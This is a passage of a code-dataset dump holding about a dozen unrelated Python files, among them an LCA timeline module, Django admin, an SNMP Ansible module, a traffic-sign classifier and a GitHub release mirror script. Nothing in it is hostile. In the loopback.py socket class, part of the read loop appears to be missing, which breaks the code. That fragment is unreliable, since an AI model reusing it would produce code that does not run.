pr,bio_amount_scaled) #with background\n \n #~#test for using TD\n #~dt_bio_test=self._calculate_bio_td_datetime_test_timeline(amount,tech_td)\n #~self.test_datetime[flow, ds] = dt_bio_test+self.test_datetime.get((flow, ds),0) \n\n\n ##deal with co2 biogenic dynamic in installed (static) databases (maybe can avoid this loop and do direclty above) \n if ('biosphere3', 'cc6a1abb-b123-4ca6-8f16-38209df609be') in self.lca.biosphere_dict:\n row_bioc = self.lca.biosphere_dict[('biosphere3', 'cc6a1abb-b123-4ca6-8f16-38209df609be')] \n col_cbio = self.lca.biosphere_matrix[row_bioc, :].tocoo() #get coordinates Carbon dioxide, in air\n \n ## find inventory values and sum\n ## in principle `CO2, in air` should have a negative \n ## but in ei it is positive so no need to change sign in bio_c\n bio_c=sum([self.lca.inventory[row_bioc, index] for index in col_cbio.col if self.reverse_activity_dict[index] in self.stat_for_keys])\n dt_bio_c=self._calculate_bio_td_datetime(bio_c,tech_td)\n for bio_dt, bio_amount_scaled in dt_bio_c: \n if bio_amount_scaled !=0:\n #~self.timeline.add(bio_dt, ('static_forest','C_biogenic'), ds, bio_amount_scaled)\n self.timeline.add(bio_dt, ('static_forest','C_biogenic'), tag, bio_amount_scaled) #with tag\n\n #~#test for using TD\n #~dt_bio_c_test=self._calculate_bio_td_datetime_test_timeline(bio_c,tech_td)\n #~self.test_datetime[('static_forest','C_biogenic'), ds] = dt_bio_c_test+self.test_datetime.get((('static_forest','C_biogenic'), ds),0) \n\n return \n \n #dynamic database\n #get TD of bio exc, spread, convert to datetime and append to timeline.raw\n for exc in data.biosphere():\n bio_td=self._get_temporal_distribution(exc)\n td_bio_new=self._calculate_bio_td_datetime(bio_td,tech_td)\n for bio_dt, bio_amount_scaled in td_bio_new:\n if bio_amount_scaled !=0:\n #deal with forest biogenic C in dynamic db\n if exc['input']==('biosphere3', 'cc6a1abb-b123-4ca6-8f16-38209df609be') and ds in self.stat_for_keys:\n self.timeline.add(bio_dt, ('static_forest','C_biogenic'), tag,bio_amount_scaled) # with tag\n elif exc['input'] in self._flows_in_CF:\n self.timeline.add(bio_dt, exc['input'], tag,bio_amount_scaled) # with tag\n else:\n continue\n\n #~#test for using TD\n #~td_bio_new_test=self._calculate_bio_td_datetime_test_timeline(bio_td,tech_td)\n #~if exc['input']==('biosphere3', 'cc6a1abb-b123-4ca6-8f16-38209df609be') and ds in self.stat_for_keys:\n #~self.test_datetime[('static_forest','C_biogenic'), ds] = td_bio_new_test+self.test_datetime.get((('static_forest','C_biogenic'), ds),0) \n #~else:\n #~self.test_datetime[exc['input'], ds] = td_bio_new_test+self.test_datetime.get((exc['input'], ds),0) \n\n \n def _calculate_bio_td_datetime(self,bio_flows,td_tech):\n \"\"\"Recalculate bio, both if datetime or timedelta, and add to timedelta.\n td_tech is always timedelta64, bio_flows can be datetime64 or float for static db\"\"\"\n #dynamic db with dt for bio_flows, multiply by node total\n if isinstance(bio_flows,TemporalDistribution) and 'datetime64' in str(bio_flows.times.dtype):\n return ( bio_flows * td_tech.total ) / self.scale_value \n #both static db and dynamic with timedelta for bio_flows\n bio_td_delta = (td_tech * bio_flows) / self.scale_value \n return bio_td_delta.timedelta_to_datetime(self.t0)\n #~#test for using TD\n #~def _calculate_bio_td_datetime_test_timeline(self,bio_flows,td_tech):\n #~###a test to check `test_datetime` since timeline multiply only with timedelta\n #~\"\"\"Recalculate bio, both if datetime or timedelta, and add to timedelta.\n #~td_tech is always timedelta64, bio_flows can be datetime64 or float for static db\"\"\"\n #~#dynamic db with dt for bio_flows, multiply by node total\n #~if isinstance(bio_flows,TemporalDistribution) and 'datetime64' in str(bio_flows.times.dtype):\n #~return ( bio_flows * td_tech.total ) / self.scale_value \n #~#both static db and dynamic with timedelta for bio_flows\n #~bio_td_delta = (td_tech * bio_flows) / self.scale_value \n #~return bio_td_delta\n\n def _calculate_new_td(self,edge_td,node_td):\n \"\"\"Recalculate edge both if datetime or timedelta, return always timedelta.\n node_td is always timedelta64, edge_td can be datetime\"\"\"\n if 'datetime64' in str(edge_td.times.dtype):\n #multiply by node.total and convert to timedelta\n new_td=(edge_td * node_td.total) / self.scale_value \n return new_td.datetime_to_timedelta(self.t0)\n #else just convolute \n return (node_td * edge_td) / self.scale_value \n \n ################\n #Data retrieval#\n ################\n\n\n def _get_temporal_distribution(self, exc):\n \"\"\"get 'temporal distribution'and change sing in case of production or substitution exchange\"\"\"\n # sign = 1 if exc.get('type') != 'production' else -1\n #deal with exchanges of type production and substititution\n sign = -1 if exc.get('type') in ['production','substitution'] else 1\n \n td=exc.get('temporal distribution', TemporalDistribution(\n np.array([0,], dtype='timedelta64[s]'), # need int\n np.array([exc['amount'],]).astype(float) )\n )\n if not isinstance(td,TemporalDistribution):\n #convert old format, not for fractional years\n if any(isinstance(t_v, tuple) and len(t_v)==2 and isinstance(t_v[0], int ) for t_v in td):\n array = np.array(exc[u'temporal distribution'])\n td=TemporalDistribution(array[:, 0].astype('timedelta64[Y]'), array[:, 1]) \n warnings.warn(\"The old format for `temporal distribution` is deprecated, now must be a `TemporalDistribution` object instead of a nested list of tuples. The applied convertion might be incorrect in the exchange from {} to {}\".format(exc['input'],exc['output']),DeprecationWarning)\n else:\n raise ValueError(\"incorrect data format for temporal distribution` from: {} to {}\".format(exc['input'],exc['output']))\n if not np.isclose(td.total,exc['amount'], rtol=0.0001):\n raise ValueError(\"Unbalanced exchanges from {} to {}. Make sure that total of `temporal distribution` is the same of `amount`\".format(exc['input'],exc['output'])) \n return td* sign\n\n def _discard_node(self, node, amount):\n \"\"\"Calculate lca for {node, amount} passed return True if lca.score lower than cutoff\"\"\"\n self.lca.redo_lcia({node: amount})\n discard = abs(self.lca.score) < self.cutoff\n if discard:\n self.log.info(u\"Discarding node: %s of %s (score %.4g)\" % (\n amount, node, self.lca.score)\n )\n return discard\n\n def _get_scale_value(self, ds):\n \"\"\"Get production amount (diagonal in matrix A) for the dataset (ds) passed.\n Normally scale_value is 1 but in the case of `non-unitary producitons `_ \"\"\"\n # Each activity must produce its own reference product, but amount\n # can vary, or even be negative.\n # TODO: Do we need to look up the reference product?\n # It is not necessarily the same as the activity,\n # but maybe this breaks many things in the graph traversal\n if ds != \"Functional unit\":\n scale_value=float(self.lca.technosphere_matrix[\n self.lca.product_dict[ds],\n self.lca.activity_dict[ds]\n ])\n if scale_value == 0:\n raise ValueError(u\"Can't rescale activities that produce \"\n u\"zero reference product\")\n return scale_value\n else:\n return 1\n\n def _redo_lcia(self, lca_obj, demand, method):\n \"\"\"\n Redo LCA for the same inventory and different method and FU using redo_lcia().Decompose technosphere if it was not factorized in the LCA object passed. Useful when redoing many dynamic LCA for same database\n Args:\n * *demand* (dict): The functional unit. Same format as in LCA class.\n * *method* (tuple): LCIA method. Same format as in LCA class.\n * *LCA_object* for which self.characterized_inventory already exists (i.e. LCA_object.lcia() has been called) \n \"\"\"\n assert hasattr(lca_obj, \"characterized_inventory\"), \"Must do LCIA first for the LCA object passed\"\n self.lca=lca_obj\n self.lca.switch_method(method)\n self.lca.redo_lcia(demand)\n #assumes that this must be reused several times thus better to factorize\n if not hasattr(self.lca, \"solver\"):\n self.lca.decompose_technosphere()\n return self.lca\n \n def save_dLCI(self,folderpath=None):\n \"\"\"Save the results of DynamicLCA to a (compressed) ``bw2lci`` file containing dictionary like \n ``'timeline':timeline object,\n 'demand':dLCI demand\n 'wc_method':dLCI worst_case_method\n The file is saved to the current working directory by default with the filename=demandkey_worstcase_method. Restoration is done using 'bw2temporalis.timeline.load_LCI'. \n Args:\n * *folderpath* (str, default=None): the filepath of the timeline (without file extension)\n \"\"\"\n \n assert hasattr(self, \"timeline\"), \"Must do calculate first\"\n #make folder if not existing and give name of demand_worstcase_method to the file \n os.makedirs(folderpath or '.', exist_ok=True) #create folder if not existing yet see https://stackoverflow.com/a/12517490/4929813 \n tl_path=os.path.join(folderpath or '.','{}_{}.bw2lci'.format(self.demand, self.worst_case_method))\n f = gzip.open(tl_path,'wb')\n pickle.dump({'timeline':self.timeline,'demand':self.demand,'wc_method':self.worst_case_method},f)\n f.close()\n\n","sub_path":"bw2temporalis/dynamic_lca.py","file_name":"dynamic_lca.py","file_ext":"py","file_size_in_byte":26994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"258465820","text":"from django.contrib import admin\n\n# ====================================================\n\nfrom .models import Award, AwardMst\n\n# ====================================================\n\nclass AwardAdmin(admin.ModelAdmin):\n \"\"\" Award Loging\n \"\"\"\n list_display = (\n 'award_text',\n\t'employment_text',\n\t'prizewinner_text',\n\t'create_date',\n )\nadmin.site.register(Award, AwardAdmin)\n\n# ====================================================\n\nclass AwardMstAdmin(admin.ModelAdmin):\n \"\"\" Award Description\n \"\"\"\n list_display = (\n 'award_mst_text',\n 'discription_text',\n )\nadmin.site.register(AwardMst, AwardMstAdmin)\n\n","sub_path":"InternalVote/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"2911689","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport grab\nfrom TechParser import parser\n\ndef get_articles():\n\tg = grab.Grab()\n\tparser.setup_grab(g)\n\t\n\tg.go(\"http://digg.com\")\n\t\n\tcss_path = \".story-container .story-content .story-header .story-title .story-title-link\"\n\t\n\tposts = parser.get_articles(g, css_path, css_path,\n\t\t\"digg\")\n\t\n\treturn posts\n","sub_path":"TechParser/digg.py","file_name":"digg.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"362538787","text":"#Personal modules\nimport StatisticalAnalyserHelper as sah\nimport AnalysedDataDisplayer as add\n\ndef Run( analysedData ):\n print( \"Running DataProcessingModule\" )\n \n statsTable = sah.BuildStatsTables( analysedData )\n \n #DEBUG - Just to try it a bit\n add.ShowGapTypePercentage( statsTable )\n\n return statsTable #DEBUG - surely not what we want to return\n \n","sub_path":"MarketAnalyser/V1_Scripts/StatisticalAnalyserModule.py","file_name":"StatisticalAnalyserModule.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"262106451","text":"import monocle\nfrom monocle import _o\nmonocle.init('tornado')\n\nfrom monocle.core import Callback, Return\nfrom monocle.stack import eventloop\n\nfrom monocle.stack.network import Connection, ConnectionLost\nfrom monocle.experimental import Channel\n\nbuffsize=1024\n\nclass FakeSocket(object):\n def __init__(self, a=None, b=None):\n if a==None:\n self.a=Channel(buffsize)\n else:\n self.a=a\n if b==None:\n self.b=Channel(buffsize)\n else:\n self.b=b\n\n self.inBuff=b''\n self.outBuff=b''\n\n def invert(self):\n return FakeSocket(a=self.b, b=self.a)\n\n @_o\n def read(self, x):\n while len(self.inBuff)0:\n data=self.inBuff\n self.inBuff=b''\n yield Return(data)\n else:\n data=b''\n while len(data)==0:\n data=yield self.a.recv()\n if data:\n yield Return(data)\n else:\n yield ConnectionLost()\n\n @_o\n def write(self, bs):\n yield self.b.send(bs)\n\n def close(self):\n yield self.b.send(None)\n","sub_path":"historical/v1/py/dust/services/socks2/loopback.py","file_name":"loopback.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"144406223","text":"from django.conf import settings\nfrom django.core.files import storage as django_storage\nfrom storages.backends import s3boto3\n\nSTORAGE_BUCKET_NAME = getattr(settings, 'AWS_STATIC_STORAGE_BUCKET_NAME', getattr(settings, 'AWS_STORAGE_BUCKET_NAME', None))\nSTATIC_URL = getattr(settings, 'STATIC_URL', getattr(settings, 'MEDIA_URL', None))\nSTATIC_ROOT = getattr(settings, 'STATIC_ROOT', getattr(settings, 'MEDIA_ROOT', None))\n\n\nclass VersionedS3Boto3Storage(s3boto3.S3Boto3Storage):\n def __init__(self, *args, **kwargs):\n super(VersionedS3Boto3Storage, self).__init__(*args, **kwargs)\n self.bucket_name = STORAGE_BUCKET_NAME\n\n def url(self, name):\n if STATIC_URL is None:\n url = super(VersionedS3Boto3Storage, self).url(name)\n return \"{}?{}\".format(url, settings.COMMIT_SHA)\n else:\n return \"{}{}?{}\".format(STATIC_URL, name, settings.COMMIT_SHA)\n\n\nclass VersionedFileSystemStorage(django_storage.FileSystemStorage):\n def __init__(self, *args, **kwargs):\n if 'base_url' not in kwargs:\n base_url = STATIC_URL\n if 'location' not in kwargs:\n location = STATIC_ROOT\n\n super(VersionedFileSystemStorage, self).__init__(base_url=base_url, location=location)\n\n def url(self, name):\n url = super(VersionedFileSystemStorage, self).url(name)\n return \"{}?{}\".format(url, settings.COMMIT_SHA)\n","sub_path":"statictastic/backends.py","file_name":"backends.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"638373724","text":"\"\"\"\r\ndemo05_pic.py 图像量化\r\n1. 读取图片灰度图像 把每个像素的亮度值整理进入训练集x。 512*512\r\n2. 把x带入KMeans模型,4个聚类划分,得到聚类中心的值。\r\n3. 对原图片进行处理,修改每个像素的亮度值为最接近的聚类中心值。\r\n4. 图像量化处理结束, 绘制图片。\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as mp\r\nimport scipy.misc as sm\r\nimport scipy.ndimage as sn\r\nimport sklearn.cluster as sc\r\n\r\nimg=sm.imread('../ml_data/lily.jpg',True)\r\nprint(img.shape)\r\nx = img.reshape(-1, 1)\r\nprint(x.shape)\r\nmodel = sc.KMeans(n_clusters=4)\r\nmodel.fit(x)\r\n# 返回类别标签\r\ny = model.labels_\r\ncenters = model.cluster_centers_.ravel()\r\nprint(y,y[:50],y.shape,end='\\n')\r\nprint(centers)\r\n# 使用掩码完成量化操作\r\nimg2 = centers[y].reshape(img.shape)\r\n\r\nmp.figure('Image Quant', facecolor='lightgray')\r\nmp.subplot(121)\r\nmp.xticks([])\r\nmp.yticks([])\r\nmp.imshow(img, cmap='gray')\r\nmp.subplot(122)\r\nmp.xticks([])\r\nmp.yticks([])\r\nmp.imshow(img2, cmap='gray')\r\nmp.tight_layout()\r\nmp.show()\r\n\r\n\r\n","sub_path":"aid1812/day5/demo05_pic.py","file_name":"demo05_pic.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"299363898","text":"from rpy2 import robjects as ro\nimport re\nimport sys\n\"\"\"\nINFO:\nThis script uses Secant Method to find a approximation of a function f zero (root).\nIt does not check any sequence convergence criteria.\n\"\"\"\n\ndef secantMethod(fun, a, b, it=10, var=r'x'):\n\txA = a\n\txB = b\n\n\tsubVarRegex = re.compile(r'\\b' + var + r'\\b')\n\n\ti = 0\n\twhile i < it:\n\t\ti += 1\n\t\tfunValA = ro.r(subVarRegex.sub('('+str(xA)+')', fun))[0]\n\t\tfunValB = ro.r(subVarRegex.sub('('+str(xB)+')', fun))[0]\n\t\tif funValA - funValB:\n\t\t\taux = xA\n\t\t\txA -= funValA * (xA - xB)/(funValA - funValB)\n\t\t\txB = aux\n\t\telse:\n\t\t\ti = it\n\treturn xA\n\nif __name__ == '__main__':\n\tif len(sys.argv) < 4:\n\t\tprint('usage:', sys.argv[0], ' ')\n\t\texit(1)\n\n\titNum = 10\n\tif len(sys.argv) == 5:\n\t\titNum = int(sys.argv[4])\n\n\tapproxZero = secantMethod(sys.argv[1], float(sys.argv[2]), float(sys.argv[3]), itNum)\n\n\tprint('~z:', approxZero)\n\tprint('f(~z):', ro.r(re.sub(r'\\bx\\b', '('+str(approxZero)+')', sys.argv[1]))[0])\n","sub_path":"methods-for-function-zeros/functionZeroBySecantMethod.py","file_name":"functionZeroBySecantMethod.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"523682760","text":"from neuralogic.core.enums import Activation, Aggregation\n\n\nclass Metadata:\n def __init__(\n self, offset=None, learnable: bool = None, activation: Activation = None, aggregation: Aggregation = None\n ):\n self.offset = offset\n self.learnable = learnable\n self.activation = activation\n self.aggregation = aggregation\n\n def __str__(self):\n metadata_list = []\n if self.offset is not None:\n metadata_list.append(f\"offset={self.offset}\")\n if self.learnable is not None:\n metadata_list.append(f\"learnable={str(self.learnable).lower()}\")\n if self.activation is not None:\n metadata_list.append(f\"activation={self.activation.value}\")\n if self.aggregation is not None:\n metadata_list.append(f\"aggregation={self.aggregation.value}\")\n return f\"[{', '.join(metadata_list)}]\"\n","sub_path":"neuralogic/core/constructs/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"101593559","text":"#!/usr/bin/python\n\nimport os\nimport logging\nimport requests\nimport copy\nimport ast\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.pask_prestapi import PrestApi,\\\n OP_DELETE, OP_GET, OP_POST, OP_PUT\nfrom ansible.module_utils.pask_module import PaskModule,\\\n make_module_args, try_except\n\n\ntrap_host_params_str = [\n 'community', 'des-passwd', 'engine-id', 'md5-passwd',\n 'sha-passwd', 'aes-passwd', 'version', 'user'\n]\ninner_trap_host_args = dict(\n ip=dict(type='str', required=True),\n)\ninner_trap_host_args.update(make_module_args(trap_host_params_str))\n\ntrap_params = [\n 'cold-start', 'failover', 'fan', 'health-check', 'link-down',\n 'link-up', 'management-cpu', 'management-memory', 'packet-cpu',\n 'packet-memory', 'power', 'temperature'\n]\ninner_trap_args = dict(\n host=dict(type='list', elements='dict', options=inner_trap_host_args),\n)\ninner_trap_args.update(make_module_args(trap_params))\n\ncommunity_params = ['policy', 'limit-oid']\ninner_community_args = dict(\n name=dict(type='str', required=True),\n)\ninner_community_args.update(make_module_args(community_params))\n\nsystem_params = ['name', 'contact', 'location']\ninner_system_args = make_module_args(system_params)\n\noutermost_param_str = ['status', 'load-timeout']\n\noutermost_args = make_module_args(outermost_param_str)\n\nmodule_args = dict(\n trap=dict(type='dict', options=inner_trap_args),\n community=dict(type='list', elements='dict', options=inner_community_args),\n system=dict(type='dict', options=inner_system_args),\n)\nmodule_args.update(outermost_args)\n\nname = 'snmp'\n\n\nclass PaskSnmp(PaskModule):\n def __init__(self, name, module_args):\n super(PaskSnmp, self).__init__(name, module_args)\n\n @try_except\n def run(self):\n data = self.make_data(self.module.params, include_inner=True)\n self.resp = self.put(self.url, data)\n\n\ndef main():\n snmp = PaskSnmp(name, module_args)\n snmp.set_param()\n snmp.run()\n snmp.set_result()\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/pask_snmp.py","file_name":"pask_snmp.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"140175215","text":"#!/usr/bin/env python3\n\nimport dirsize\nimport subprocess\nimport argparse\n\nDEFAULT_BATCH_SIZE = 100\nDEFAULT_NJOBS = 4\n\ndef main():\n parser = argparse.ArgumentParser(description='I am description')\n parser.add_argument(\n '--path', '-p', type=str, required=True,\n help='Specify the path to directory')\n parser.parse_args()\n\n path = '/home/ilya/Music'\n ret1 = dirsize.get_dir_size(path)\n print(ret1)\n\n ret2 = int(subprocess.check_output([\"du\", \"-b\", path]).decode('utf-8').split('\\n')[-2].split('\\t')[0])\n print(ret2)\n\nif __name__ == '__main__':\n main()\n","sub_path":"2017/Anya/dir_size/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"538367717","text":"import os\nfrom torchvision import transforms,models\nimport torch.nn as nn\nimport torch\nimport PIL\n\n# 用来预测的分类器\nclass TrafficsignClf():\n\t# 构造函数\n\t# 参数:\n\t#\t\tmodel_path: 模型所在**绝对**路径\n\tdef __init__(self, model_path):\n\t\t# 有 8 类\n\t\tself.classes = ['speed_limit_30', 'speed_limit_40', \n\t\t\t'go_straight', 'turn_left', 'turn_right', \n\t\t\t'turn_around', 'slow', 'stop']\n\t\tself.model = models.resnet18()\n\t\tnum_ftrs = self.model.fc.in_features\n\t\tself.model.fc = nn.Linear(num_ftrs, 9)\n\t\t# 加载模型\n\t\tself.model.load_state_dict(torch.load(model_path))\n\t\tself.model.eval()\n\t\t\n\t# 预测\n\t# 参数:\n\t#\t\timg_path: 所需预测的图片所在的**绝对**路径\n\tdef predict(self, img_path):\n\t\timg = PIL.Image.open(img_path).convert('RGB')\n\t\ttest_transform = transforms.Compose([\n\t\t\ttransforms.Resize(256),\n\t\t\ttransforms.CenterCrop(224),\n\t\t\ttransforms.ToTensor(),\n\t\t\ttransforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n\t\t])\n\t\timg = test_transform(img)\n\t\tbatch_t = torch.unsqueeze(img, 0)\n\t\toutput = self.model(batch_t)\n\t\t_, predict = torch.max(output, 1)\n\t\t# 返回类别标签和类别名\n\t\t# 如果不把握,返回没有交通标志\n\t\tif int(_) < 3:\n\t\t\treturn 8, \"N/A\"\n\t\treturn int(predict), self.classes[int(predict)]\n\nif __name__ == '__main__':\n\tclf = TrafficsignClf(os.getcwd() + '/model_resave.pth')\n\t# 从摄像头获取画面\n\tcap = cv2.VideoCapture(1)\n\tret, frame = cap.read()\n\tif ret:\n\t\t# 暂时存储摄像头拍摄到的帧至此\n\t\tname = os.getcwd() + '/frame.jpg'\n\t\tcv2.imwrite(name, frame)\n\t\t_, sign = self.tfsClf.predict(name)\n\t\tprint(sign)\n\t\t# 预测完后就可以删除图片了\n\t\tos.remove(name)\n\t\t#cv2.imshow('frame', frame)\n\t\tcap.release()","sub_path":"2018202147/src/scripts/Project3/TrafficsignClf.py","file_name":"TrafficsignClf.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"36394757","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport threading\nimport traceback\nimport queue\nfrom pathlib import Path\nfrom datetime import datetime\n\n# Set BindIP\n# https://stackoverflow.com/a/70772914\nAPTSYNC_BINDIP = os.getenv(\"BIND_ADDRESS\", \"\")\nif APTSYNC_BINDIP:\n import urllib3\n real_create_conn = urllib3.util.connection.create_connection\n\n def set_src_addr(address, timeout, *args, **kw):\n source_address = (APTSYNC_BINDIP, 0)\n return real_create_conn(address, timeout=timeout, source_address=source_address)\n\n urllib3.util.connection.create_connection = set_src_addr\n\nimport requests\nimport yaml\n\n\nBASE_URL = os.getenv(\"UPSTREAM_URL\", \"https://api.github.com/repos/\")\nWORKING_DIR = os.getenv(\"TUNASYNC_WORKING_DIR\")\nWORKERS = int(os.getenv(\"WORKERS\", \"8\"))\nFAST_SKIP = bool(os.getenv(\"FAST_SKIP\", \"\"))\n\n\ndef get_repos():\n try:\n with open('/repos.yaml') as f:\n content = f.read()\n except FileNotFoundError:\n content = os.getenv(\"REPOS\", None)\n if content is None:\n raise Exception(\"Loading /repos.yaml file and reading REPOS env both failed\")\n repos = yaml.safe_load(content)\n if isinstance(repos, list):\n return repos\n else:\n repos = repos['repos']\n if not isinstance(repos, list):\n raise Exception(\"Can not inspect repo list from the given file/env\")\n return repos\n\n\nREPOS = get_repos()\n\n# connect and read timeout value\nTIMEOUT_OPTION = (7, 10)\ntotal_size = 0\n\n\ndef sizeof_fmt(num, suffix='iB'):\n for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:\n if abs(num) < 1024.0:\n return \"%3.2f%s%s\" % (num, unit, suffix)\n num /= 1024.0\n return \"%.2f%s%s\" % (num, 'Y', suffix)\n\n# wrap around requests.get to use token if available\n\n\ndef github_get(*args, **kwargs):\n headers = kwargs['headers'] if 'headers' in kwargs else {}\n if 'GITHUB_TOKEN' in os.environ:\n headers['Authorization'] = 'token {}'.format(\n os.environ['GITHUB_TOKEN'])\n kwargs['headers'] = headers\n return requests.get(*args, **kwargs)\n\n\ndef do_download(remote_url: str, dst_file: Path, remote_ts: float):\n # NOTE the stream=True parameter below\n with github_get(remote_url, stream=True) as r:\n r.raise_for_status()\n with open(dst_file, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024**2):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n # f.flush()\n os.utime(dst_file, (remote_ts, remote_ts))\n\n\ndef downloading_worker(q):\n while True:\n item = q.get()\n if item is None:\n break\n\n url, dst_file, working_dir, updated = item\n\n print(\"downloading\", url, \"to\",\n dst_file.relative_to(working_dir), flush=True)\n try:\n do_download(url, dst_file, updated)\n except Exception:\n print(\"Failed to download\", url, flush=True)\n if dst_file.is_file():\n dst_file.unlink()\n\n q.task_done()\n\n\ndef create_workers(n):\n task_queue = queue.Queue()\n for i in range(n):\n t = threading.Thread(target=downloading_worker, args=(task_queue, ))\n t.start()\n return task_queue\n\n\ndef ensure_safe_name(filename):\n filename = filename.replace('\\0', ' ')\n if filename == '.':\n return ' .'\n elif filename == '..':\n return '. .'\n else:\n return filename.replace('/', '\\\\').replace('\\\\', '_')\n\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--base-url\", default=BASE_URL)\n parser.add_argument(\"--working-dir\", default=WORKING_DIR)\n parser.add_argument(\"--workers\", default=WORKERS, type=int,\n help='number of concurrent downloading jobs')\n parser.add_argument(\"--fast-skip\", action='store_true', default=FAST_SKIP,\n help='do not verify size and timestamp of existing files')\n args = parser.parse_args()\n\n if args.working_dir is None:\n raise Exception(\"Working Directory is None\")\n\n working_dir = Path(args.working_dir)\n task_queue = create_workers(args.workers)\n remote_filelist = []\n cleaning = False\n\n def download(release, release_dir, tarball=False):\n global total_size\n\n if tarball:\n url = release['tarball_url']\n updated = datetime.strptime(\n release['published_at'], '%Y-%m-%dT%H:%M:%SZ').timestamp()\n dst_file = release_dir / 'repo-snapshot.tar.gz'\n remote_filelist.append(dst_file.relative_to(working_dir))\n\n if dst_file.is_file():\n print(\"skipping\", dst_file.relative_to(working_dir), flush=True)\n else:\n dst_file.parent.mkdir(parents=True, exist_ok=True)\n task_queue.put((url, dst_file, working_dir, updated))\n\n for asset in release['assets']:\n url = asset['browser_download_url']\n updated = datetime.strptime(\n asset['updated_at'], '%Y-%m-%dT%H:%M:%SZ').timestamp()\n dst_file = release_dir / ensure_safe_name(asset['name'])\n remote_filelist.append(dst_file.relative_to(working_dir))\n total_size += asset['size']\n\n if dst_file.is_file():\n if args.fast_skip:\n print(\"fast skipping\", dst_file.relative_to(\n working_dir), flush=True)\n continue\n else:\n stat = dst_file.stat()\n local_filesize = stat.st_size\n local_mtime = stat.st_mtime\n # print(f\"{local_filesize} vs {asset['size']}\")\n # print(f\"{local_mtime} vs {updated}\")\n if local_mtime > updated or \\\n asset['size'] == local_filesize and local_mtime == updated:\n print(\"skipping\", dst_file.relative_to(\n working_dir), flush=True)\n continue\n else:\n dst_file.parent.mkdir(parents=True, exist_ok=True)\n\n task_queue.put((url, dst_file, working_dir, updated))\n\n def link_latest(name, repo_dir):\n try:\n os.unlink(repo_dir / \"LatestRelease\")\n except OSError:\n pass\n try:\n os.symlink(name, repo_dir / \"LatestRelease\")\n except OSError:\n pass\n\n for cfg in REPOS:\n flat = False # build a folder for each release\n versions = 1 # keep only one release\n tarball = False # do not download the tarball\n prerelease = False # filter out pre-releases\n if isinstance(cfg, str):\n repo = cfg\n else:\n repo = cfg[\"repo\"]\n if \"versions\" in cfg:\n versions = cfg[\"versions\"]\n if \"flat\" in cfg:\n flat = cfg[\"flat\"]\n if \"tarball\" in cfg:\n tarball = cfg[\"tarball\"]\n if \"pre_release\" in cfg:\n prerelease = cfg[\"pre_release\"]\n\n repo_dir = working_dir / Path(repo)\n print(f\"syncing {repo} to {repo_dir}\")\n\n try:\n r = github_get(f\"{args.base_url}{repo}/releases\")\n r.raise_for_status()\n releases = r.json()\n except:\n traceback.print_exc()\n break\n\n n_downloaded = 0\n for release in releases:\n if not release['draft'] and (prerelease or not release['prerelease']):\n name = ensure_safe_name(release['name'] or release['tag_name'])\n if len(name) == 0:\n print(\"Error: Unnamed release\")\n continue\n download(release, (repo_dir if flat else repo_dir / name), tarball)\n if n_downloaded == 0 and not flat:\n # create a symbolic link to the latest release folder\n link_latest(name, repo_dir)\n n_downloaded += 1\n if versions > 0 and n_downloaded >= versions:\n break\n if n_downloaded == 0:\n print(f\"Error: No release version found for {repo}\")\n continue\n else:\n cleaning = True\n\n # block until all tasks are done\n task_queue.join()\n # stop workers\n for i in range(args.workers):\n task_queue.put(None)\n\n if cleaning:\n local_filelist = []\n for local_file in working_dir.glob('**/*'):\n if local_file.is_file():\n local_filelist.append(local_file.relative_to(working_dir))\n\n for old_file in set(local_filelist) - set(remote_filelist):\n print(\"deleting\", old_file, flush=True)\n old_file = working_dir / old_file\n old_file.unlink()\n\n for local_dir in working_dir.glob('*/*/*'):\n if local_dir.is_dir():\n try:\n # remove empty dirs only\n local_dir.rmdir()\n except:\n pass\n\n print(\"Total size is\", sizeof_fmt(total_size, suffix=\"\"))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n# vim: ts=4 sw=4 sts=4 expandtab\n","sub_path":"github-release/tunasync/github-release.py","file_name":"github-release.py","file_ext":"py","file_size_in_byte":9216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
